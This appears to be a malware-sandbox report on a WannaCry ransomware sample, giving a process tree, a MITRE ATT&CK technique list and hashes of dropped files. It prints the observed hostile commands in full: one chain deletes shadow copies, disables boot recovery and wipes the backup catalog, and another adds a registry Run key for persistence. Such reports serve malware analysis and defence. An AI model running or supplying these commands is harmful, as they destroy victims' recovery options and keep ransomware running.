                                                                                cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
                                                                                4⤵
                                                                                  PID:5436
                                                                                  • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                    wmic shadowcopy delete
                                                                                    5⤵
                                                                                    • System Location Discovery: System Language Discovery
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    PID:1512
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\taskdl.exe
                                                                              taskdl.exe
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:1580
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\taskse.exe
                                                                              taskse.exe C:\Users\Admin\Documents\ohodhi\WannaCry-main\@[email protected]
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:1276
                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                              cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "cfpbtoitauez455" /t REG_SZ /d "\"C:\Users\Admin\Documents\ohodhi\WannaCry-main\tasksche.exe\"" /f
                                                                              2⤵
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:3020
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "cfpbtoitauez455" /t REG_SZ /d "\"C:\Users\Admin\Documents\ohodhi\WannaCry-main\tasksche.exe\"" /f
                                                                                3⤵
                                                                                • Adds Run key to start application
                                                                                • System Location Discovery: System Language Discovery
                                                                                • Modifies registry key
                                                                                PID:6040
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\taskdl.exe
                                                                              taskdl.exe
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              PID:5008
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\taskse.exe
                                                                              taskse.exe C:\Users\Admin\Documents\ohodhi\WannaCry-main\@[email protected]
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              PID:1944
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\@[email protected]
                                                                              @[email protected]
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              • System Location Discovery: System Language Discovery
                                                                              • Suspicious use of SetWindowsHookEx
                                                                              PID:2516
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\taskdl.exe
                                                                              taskdl.exe
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:6104
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\taskse.exe
                                                                              taskse.exe C:\Users\Admin\Documents\ohodhi\WannaCry-main\@[email protected]
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:3020
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\@[email protected]
                                                                              @[email protected]
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              • System Location Discovery: System Language Discovery
                                                                              • Suspicious use of SetWindowsHookEx
                                                                              PID:1044
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\taskse.exe
                                                                              taskse.exe C:\Users\Admin\Documents\ohodhi\WannaCry-main\@[email protected]
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:4436
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\@[email protected]
                                                                              @[email protected]
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              • System Location Discovery: System Language Discovery
                                                                              • Suspicious use of SetWindowsHookEx
                                                                              PID:3888
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\taskdl.exe
                                                                              taskdl.exe
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              PID:1656
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\taskse.exe
                                                                              taskse.exe C:\Users\Admin\Documents\ohodhi\WannaCry-main\@[email protected]
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              PID:3224
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\@[email protected]
                                                                              @[email protected]
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              • System Location Discovery: System Language Discovery
                                                                              • Suspicious use of SetWindowsHookEx
                                                                              PID:2000
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\taskdl.exe
                                                                              taskdl.exe
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:3400
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\taskse.exe
                                                                              taskse.exe C:\Users\Admin\Documents\ohodhi\WannaCry-main\@[email protected]
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              PID:3776
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\@[email protected]
                                                                              @[email protected]
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              • System Location Discovery: System Language Discovery
                                                                              • Suspicious use of SetWindowsHookEx
                                                                              PID:1544
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\taskdl.exe
                                                                              taskdl.exe
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:3892
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\taskse.exe
                                                                              taskse.exe C:\Users\Admin\Documents\ohodhi\WannaCry-main\@[email protected]
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              PID:1460
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\@[email protected]
                                                                              @[email protected]
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              • System Location Discovery: System Language Discovery
                                                                              • Suspicious use of SetWindowsHookEx
                                                                              PID:2604
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\taskdl.exe
                                                                              taskdl.exe
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              PID:5264
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\taskse.exe
                                                                              taskse.exe C:\Users\Admin\Documents\ohodhi\WannaCry-main\@[email protected]
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              PID:5196
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\@[email protected]
                                                                              @[email protected]
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              • System Location Discovery: System Language Discovery
                                                                              • Suspicious use of SetWindowsHookEx
                                                                              PID:2532
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\taskdl.exe
                                                                              taskdl.exe
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:5116
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\taskse.exe
                                                                              taskse.exe C:\Users\Admin\Documents\ohodhi\WannaCry-main\@[email protected]
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:4160
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\@[email protected]
                                                                              @[email protected]
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              • System Location Discovery: System Language Discovery
                                                                              • Suspicious use of SetWindowsHookEx
                                                                              PID:904
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\taskdl.exe
                                                                              taskdl.exe
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:5952
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\taskse.exe
                                                                              taskse.exe C:\Users\Admin\Documents\ohodhi\WannaCry-main\@[email protected]
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:3888
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\@[email protected]
                                                                              @[email protected]
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              • System Location Discovery: System Language Discovery
                                                                              • Suspicious use of SetWindowsHookEx
                                                                              PID:2672
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\taskdl.exe
                                                                              taskdl.exe
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              PID:4436
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\taskse.exe
                                                                              taskse.exe C:\Users\Admin\Documents\ohodhi\WannaCry-main\@[email protected]
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:1244
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\@[email protected]
                                                                              @[email protected]
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              • System Location Discovery: System Language Discovery
                                                                              • Suspicious use of SetWindowsHookEx
                                                                              PID:2452
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\taskdl.exe
                                                                              taskdl.exe
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:3224
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\taskse.exe
                                                                              taskse.exe C:\Users\Admin\Documents\ohodhi\WannaCry-main\@[email protected]
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:2068
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\taskdl.exe
                                                                              taskdl.exe
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:4312
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\taskse.exe
                                                                              taskse.exe C:\Users\Admin\Documents\ohodhi\WannaCry-main\@[email protected]
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              PID:3892
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\@[email protected]
                                                                              @[email protected]
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              • System Location Discovery: System Language Discovery
                                                                              • Suspicious use of SetWindowsHookEx
                                                                              PID:1392
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\taskdl.exe
                                                                              taskdl.exe
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:2272
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\taskse.exe
                                                                              taskse.exe C:\Users\Admin\Documents\ohodhi\WannaCry-main\@[email protected]
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              PID:5048
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\taskdl.exe
                                                                              taskdl.exe
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              PID:4388
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\taskse.exe
                                                                              taskse.exe C:\Users\Admin\Documents\ohodhi\WannaCry-main\@[email protected]
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              PID:3236
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\@[email protected]
                                                                              @[email protected]
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              • System Location Discovery: System Language Discovery
                                                                              • Suspicious use of SetWindowsHookEx
                                                                              PID:3448
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\taskdl.exe
                                                                              taskdl.exe
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:5636
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\taskse.exe
                                                                              taskse.exe C:\Users\Admin\Documents\ohodhi\WannaCry-main\@[email protected]
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:4052
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\@[email protected]
                                                                              @[email protected]
                                                                              2⤵
                                                                              • System Location Discovery: System Language Discovery
                                                                              • Suspicious use of SetWindowsHookEx
                                                                              PID:1120
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\taskdl.exe
                                                                              taskdl.exe
                                                                              2⤵
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:4928
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\taskse.exe
                                                                              taskse.exe C:\Users\Admin\Documents\ohodhi\WannaCry-main\@[email protected]
                                                                              2⤵
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:1664
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\@[email protected]
                                                                              @[email protected]
                                                                              2⤵
                                                                              • System Location Discovery: System Language Discovery
                                                                              • Suspicious use of SetWindowsHookEx
                                                                              PID:6060
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\taskdl.exe
                                                                              taskdl.exe
                                                                              2⤵
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:2148
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\taskse.exe
                                                                              taskse.exe C:\Users\Admin\Documents\ohodhi\WannaCry-main\@[email protected]
                                                                              2⤵
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:5948
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\@[email protected]
                                                                              @[email protected]
                                                                              2⤵
                                                                              • System Location Discovery: System Language Discovery
                                                                              • Suspicious use of SetWindowsHookEx
                                                                              PID:3416
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\taskdl.exe
                                                                              taskdl.exe
                                                                              2⤵
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:5720
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\taskse.exe
                                                                              taskse.exe C:\Users\Admin\Documents\ohodhi\WannaCry-main\@[email protected]
                                                                              2⤵
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:4004
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\@[email protected]
                                                                              @[email protected]
                                                                              2⤵
                                                                              • System Location Discovery: System Language Discovery
                                                                              • Suspicious use of SetWindowsHookEx
                                                                              PID:2756
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\taskdl.exe
                                                                              taskdl.exe
                                                                              2⤵
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:1816
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\taskse.exe
                                                                              taskse.exe C:\Users\Admin\Documents\ohodhi\WannaCry-main\@[email protected]
                                                                              2⤵
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:3120
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\@[email protected]
                                                                              @[email protected]
                                                                              2⤵
                                                                              • System Location Discovery: System Language Discovery
                                                                              • Suspicious use of SetWindowsHookEx
                                                                              PID:1608
                                                                            • C:\Users\Admin\Documents\ohodhi\WannaCry-main\taskdl.exe
                                                                              taskdl.exe
                                                                              2⤵
                                                                                PID:3584
                                                                              • C:\Users\Admin\Documents\ohodhi\WannaCry-main\taskse.exe
                                                                                taskse.exe C:\Users\Admin\Documents\ohodhi\WannaCry-main\@[email protected]
                                                                                2⤵
                                                                                  PID:5064
                                                                                • C:\Users\Admin\Documents\ohodhi\WannaCry-main\@[email protected]
                                                                                  @[email protected]
                                                                                  2⤵
                                                                                  • System Location Discovery: System Language Discovery
                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                  PID:876
                                                                                • C:\Users\Admin\Documents\ohodhi\WannaCry-main\taskdl.exe
                                                                                  taskdl.exe
                                                                                  2⤵
                                                                                  • System Location Discovery: System Language Discovery
                                                                                  PID:568
                                                                                • C:\Users\Admin\Documents\ohodhi\WannaCry-main\taskse.exe
                                                                                  taskse.exe C:\Users\Admin\Documents\ohodhi\WannaCry-main\@[email protected]
                                                                                  2⤵
                                                                                  • System Location Discovery: System Language Discovery
                                                                                  PID:4648
                                                                                • C:\Users\Admin\Documents\ohodhi\WannaCry-main\@[email protected]
                                                                                  @[email protected]
                                                                                  2⤵
                                                                                  • System Location Discovery: System Language Discovery
                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                  PID:5400
                                                                                • C:\Users\Admin\Documents\ohodhi\WannaCry-main\taskdl.exe
                                                                                  taskdl.exe
                                                                                  2⤵
                                                                                  • System Location Discovery: System Language Discovery
                                                                                  PID:112
                                                                                • C:\Users\Admin\Documents\ohodhi\WannaCry-main\taskse.exe
                                                                                  taskse.exe C:\Users\Admin\Documents\ohodhi\WannaCry-main\@[email protected]
                                                                                  2⤵
                                                                                  • System Location Discovery: System Language Discovery
                                                                                  PID:3568
                                                                                • C:\Users\Admin\Documents\ohodhi\WannaCry-main\@[email protected]
                                                                                  @[email protected]
                                                                                  2⤵
                                                                                  • System Location Discovery: System Language Discovery
                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                  PID:5608
                                                                                • C:\Users\Admin\Documents\ohodhi\WannaCry-main\taskdl.exe
                                                                                  taskdl.exe
                                                                                  2⤵
                                                                                  • System Location Discovery: System Language Discovery
                                                                                  PID:1752
                                                                                • C:\Users\Admin\Documents\ohodhi\WannaCry-main\taskse.exe
                                                                                  taskse.exe C:\Users\Admin\Documents\ohodhi\WannaCry-main\@[email protected]
                                                                                  2⤵
                                                                                    PID:2264
                                                                                  • C:\Users\Admin\Documents\ohodhi\WannaCry-main\taskdl.exe
                                                                                    taskdl.exe
                                                                                    2⤵
                                                                                    • System Location Discovery: System Language Discovery
                                                                                    PID:5200
                                                                                  • C:\Users\Admin\Documents\ohodhi\WannaCry-main\taskse.exe
                                                                                    taskse.exe C:\Users\Admin\Documents\ohodhi\WannaCry-main\@[email protected]
                                                                                    2⤵
                                                                                    • System Location Discovery: System Language Discovery
                                                                                    PID:8
                                                                                  • C:\Users\Admin\Documents\ohodhi\WannaCry-main\@[email protected]
                                                                                    @[email protected]
                                                                                    2⤵
                                                                                    • System Location Discovery: System Language Discovery
                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                    PID:2776
                                                                                  • C:\Users\Admin\Documents\ohodhi\WannaCry-main\taskdl.exe
                                                                                    taskdl.exe
                                                                                    2⤵
                                                                                      PID:5900
                                                                                  • C:\Windows\system32\vssvc.exe
                                                                                    C:\Windows\system32\vssvc.exe
                                                                                    1⤵
                                                                                      PID:5204
                                                                                    • C:\Users\Admin\Desktop\@[email protected]
                                                                                      "C:\Users\Admin\Desktop\@[email protected]"
                                                                                      1⤵
                                                                                      • Executes dropped EXE
                                                                                      • Sets desktop wallpaper using registry
                                                                                      • Suspicious behavior: GetForegroundWindowSpam
                                                                                      • Suspicious use of FindShellTrayWindow
                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                      PID:940
                                                                                    • C:\Windows\system32\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Documents\ohodhi\WannaCry-main\tasksche.exe"
                                                                                      1⤵
                                                                                        PID:3616
                                                                                      • C:\Users\Admin\AppData\Roaming\WindowsLocalAgent
                                                                                        "C:\Users\Admin\AppData\Roaming\WindowsLocalAgent"
                                                                                        1⤵
                                                                                        • Executes dropped EXE
                                                                                        PID:5152
                                                                                      • C:\Users\Admin\AppData\Roaming\WindowsLocalAgent
                                                                                        "C:\Users\Admin\AppData\Roaming\WindowsLocalAgent"
                                                                                        1⤵
                                                                                        • Executes dropped EXE
                                                                                        PID:1172
                                                                                      • C:\Users\Admin\AppData\Roaming\WindowsLocalAgent
                                                                                        "C:\Users\Admin\AppData\Roaming\WindowsLocalAgent"
                                                                                        1⤵
                                                                                        • Executes dropped EXE
                                                                                        PID:5044
                                                                                      • C:\Users\Admin\AppData\Roaming\WindowsLocalAgent
                                                                                        "C:\Users\Admin\AppData\Roaming\WindowsLocalAgent"
                                                                                        1⤵
                                                                                        • Executes dropped EXE
                                                                                        PID:4216
                                                                                      • C:\Users\Admin\AppData\Roaming\WindowsLocalAgent
                                                                                        "C:\Users\Admin\AppData\Roaming\WindowsLocalAgent"
                                                                                        1⤵
                                                                                        • Executes dropped EXE
                                                                                        PID:4680
                                                                                      • C:\Users\Admin\AppData\Roaming\WindowsLocalAgent
                                                                                        "C:\Users\Admin\AppData\Roaming\WindowsLocalAgent"
                                                                                        1⤵
                                                                                        • Executes dropped EXE
                                                                                        PID:1748
                                                                                      • C:\Users\Admin\AppData\Roaming\WindowsLocalAgent
                                                                                        "C:\Users\Admin\AppData\Roaming\WindowsLocalAgent"
                                                                                        1⤵
                                                                                        • Executes dropped EXE
                                                                                        PID:4260
                                                                                      • C:\Users\Admin\AppData\Roaming\WindowsLocalAgent
                                                                                        "C:\Users\Admin\AppData\Roaming\WindowsLocalAgent"
                                                                                        1⤵
                                                                                        • Executes dropped EXE
                                                                                        PID:2424
                                                                                      • C:\Users\Admin\AppData\Roaming\WindowsLocalAgent
                                                                                        "C:\Users\Admin\AppData\Roaming\WindowsLocalAgent"
                                                                                        1⤵
                                                                                          PID:5896
                                                                                        • C:\Users\Admin\AppData\Roaming\WindowsLocalAgent
                                                                                          "C:\Users\Admin\AppData\Roaming\WindowsLocalAgent"
                                                                                          1⤵
                                                                                            PID:6056
                                                                                          • C:\Users\Admin\AppData\Roaming\WindowsLocalAgent
                                                                                            "C:\Users\Admin\AppData\Roaming\WindowsLocalAgent"
                                                                                            1⤵
                                                                                              PID:192
                                                                                            • C:\Users\Admin\AppData\Roaming\WindowsLocalAgent
                                                                                              "C:\Users\Admin\AppData\Roaming\WindowsLocalAgent"
                                                                                              1⤵
                                                                                                PID:4040

                                                                                              Network

                                                                                              MITRE ATT&CK Enterprise v16

                                                                                              Reconnaissance

                                                                                              Resource Development

                                                                                              Initial Access

                                                                                              Execution

                                                                                              Command and Scripting Interpreter

                                                                                              1
                                                                                              T1059

                                                                                              PowerShell

                                                                                              1
                                                                                              T1059.001

                                                                                              Scheduled Task/Job

                                                                                              1
                                                                                              T1053

                                                                                              Scheduled Task

                                                                                              1
                                                                                              T1053.005

                                                                                              Windows Management Instrumentation

                                                                                              1
                                                                                              T1047

                                                                                              Persistence

                                                                                              Boot or Logon Autostart Execution

                                                                                              1
                                                                                              T1547

                                                                                              Registry Run Keys / Startup Folder

                                                                                              1
                                                                                              T1547.001

                                                                                              Scheduled Task/Job

                                                                                              1
                                                                                              T1053

                                                                                              Scheduled Task

                                                                                              1
                                                                                              T1053.005

                                                                                              Privilege Escalation

                                                                                              Boot or Logon Autostart Execution

                                                                                              1
                                                                                              T1547

                                                                                              Registry Run Keys / Startup Folder

                                                                                              1
                                                                                              T1547.001

                                                                                              Scheduled Task/Job

                                                                                              1
                                                                                              T1053

                                                                                              Scheduled Task

                                                                                              1
                                                                                              T1053.005

                                                                                              Defense Evasion

                                                                                              File and Directory Permissions Modification

                                                                                              2
                                                                                              T1222

                                                                                              Windows File and Directory Permissions Modification

                                                                                              1
                                                                                              T1222.001

                                                                                              Hide Artifacts

                                                                                              1
                                                                                              T1564

                                                                                              Hidden Files and Directories

                                                                                              1
                                                                                              T1564.001

                                                                                              Indicator Removal

                                                                                              1
                                                                                              T1070

                                                                                              File Deletion

                                                                                              1
                                                                                              T1070.004

                                                                                              Modify Registry

                                                                                              4
                                                                                              T1112

                                                                                              Credential Access

                                                                                              Discovery

                                                                                              Browser Information Discovery

                                                                                              1
                                                                                              T1217

                                                                                              Query Registry

                                                                                              4
                                                                                              T1012

                                                                                              System Information Discovery

                                                                                              4
                                                                                              T1082

                                                                                              System Location Discovery

                                                                                              1
                                                                                              T1614

                                                                                              System Language Discovery

                                                                                              1
                                                                                              T1614.001

                                                                                              Lateral Movement

                                                                                              Collection

                                                                                              Command and Control

                                                                                              Exfiltration

                                                                                              Impact

                                                                                              Defacement

                                                                                              1
                                                                                              T1491

                                                                                              Inhibit System Recovery

                                                                                              1
                                                                                              T1490

                                                                                              Replay Monitor

                                                                                              Loading Replay Monitor...

                                                                                              Downloads

                                                                                              • C:\OIP.jpg
                                                                                                Filesize

                                                                                                34KB

                                                                                                MD5

                                                                                                9fa2df1796f2af7a951ec976376f48ff

                                                                                                SHA1

                                                                                                27107a13e90b1f0f30829e5999eddc78b891df96

                                                                                                SHA256

                                                                                                cae476df63795145979f4fe76ad04fc57972811a19663d29746bac532a95007b

                                                                                                SHA512

                                                                                                de1ffc07ee9a84cb219e378fcf6f7bf7e4ad059ac3ecd119f87404ddba544c291f8bc5b5e824df852447f5cfac1e878ef6ef49f7e2cbd02592b9f2104530d9ae

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\WindowsLocalAgent.log
                                                                                                Filesize

                                                                                                654B

                                                                                                MD5

                                                                                                11c6e74f0561678d2cf7fc075a6cc00c

                                                                                                SHA1

                                                                                                535ee79ba978554abcb98c566235805e7ea18490

                                                                                                SHA256

                                                                                                d39a78fabca39532fcb85ce908781a75132e1bd01cc50a3b290dd87127837d63

                                                                                                SHA512

                                                                                                32c63d67bf512b42e7f57f71287b354200126cb417ef9d869c72e0b9388a7c2f5e3b61f303f1353baa1bf482d0f17e06e23c9f50b2f1babd4d958b6da19c40b0

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                                                                                Filesize

                                                                                                3KB

                                                                                                MD5

                                                                                                3eb3833f769dd890afc295b977eab4b4

                                                                                                SHA1

                                                                                                e857649b037939602c72ad003e5d3698695f436f

                                                                                                SHA256

                                                                                                c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485

                                                                                                SHA512

                                                                                                c24bbc8f278478d43756807b8c584d4e3fb2289db468bc92986a489f74a8da386a667a758360a397e77e018e363be8912ac260072fa3e31117ad0599ac749e72

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Crashpad\settings.dat
                                                                                                Filesize

                                                                                                280B

                                                                                                MD5

                                                                                                50682d36ea29dc25028cb8219fc8a699

                                                                                                SHA1

                                                                                                f986acb0971c6b7337f450510cab2cb6f74164e8

                                                                                                SHA256

                                                                                                da7fcfc287a041747fbcd486e0e8791a5fb30c64e345e73918d41cee1f655484

                                                                                                SHA512

                                                                                                5e582708ff6a5e6fd56da0a1d5448fbde1588f704178a8347880357c8b29a113cb0660dc22ed2702ba34a7be7d7d7ac37451c16f473d03ce8273025e35d9bcc8

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Default\Asset Store\assets.db\LOG.old
                                                                                                Filesize

                                                                                                331B

                                                                                                MD5

                                                                                                ee769ee2ecfeb91106ff68034c5ba415

                                                                                                SHA1

                                                                                                842c8e715078503b2873cf8fd265c22cf4365266

                                                                                                SHA256

                                                                                                98f0de7ea27b372da8cd055ee0c09b5808eb8ccbd85058b7faf5840b1774c5ce

                                                                                                SHA512

                                                                                                5126ae36d3bd739477db525adc0bfd4549866a44cb3d0350ec90ab05c38ec0f39920a9c222c88aca47d85a5fdfd252c01a032752626e78d2aa6439def6c0b68a

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Default\Asset Store\assets.db\LOG.old
                                                                                                Filesize

                                                                                                331B

                                                                                                MD5

                                                                                                d9c2ca415e156fc12b01281840c8e06a

                                                                                                SHA1

                                                                                                413bd73a71ab7422d59decfcafc6abd994aa83cb

                                                                                                SHA256

                                                                                                94b93f0489a370920d7329f54e991740b83da96f7f67cce0f654f32038784475

                                                                                                SHA512

                                                                                                920a938afebed56ac721ff622059a3e038add93d2dcf456040c398b40f29229598e63483530a931a5b47b62f268f9c8a1266770b2baea12ab2d7e2600b163a7d

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Default\Code Cache\js\index-dir\the-real-index
                                                                                                Filesize

                                                                                                5KB

                                                                                                MD5

                                                                                                b5a6af59a9fbb2d57ab04ea4f51603d6

                                                                                                SHA1

                                                                                                3746baff8b212e2f823034fafac0db925b5a9f18

                                                                                                SHA256

                                                                                                1478c8b0e2857329a205d2284ae81792524615e6259eea1ce101aa6c1e646076

                                                                                                SHA512

                                                                                                cad6a526acc4028593a3a9fc8ff0c153583fea2436ce8daedc28dbae07b8d0452202f1b61ca7a471116c601f92e9e4611771c4894827ecddb211f6c303b15e1a

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Default\Code Cache\js\index-dir\the-real-index~RFe5914c6.TMP
                                                                                                Filesize

                                                                                                4KB

                                                                                                MD5

                                                                                                258404b32516b9773d8530a73da77800

                                                                                                SHA1

                                                                                                bdbe4920f555d9f86a53ffb3707abfd4031efce9

                                                                                                SHA256

                                                                                                b68cba1bcc9094724e403c0d0f7283dcdd705d78f4738418735bd7f4dcbe9ca8

                                                                                                SHA512

                                                                                                b5628b12bd294927fbda67bac696b7d282fc0deda68b30d1a2e02472c8691714044a0996117d68aff76e9edd9c3b0b3b96b2a7cbf97c83c7a0602eb4122192df

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Default\DualEngine\SiteList-Enterprise.json
                                                                                                Filesize

                                                                                                2B

                                                                                                MD5

                                                                                                99914b932bd37a50b983c5e7c90ae93b

                                                                                                SHA1

                                                                                                bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f

                                                                                                SHA256

                                                                                                44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a

                                                                                                SHA512

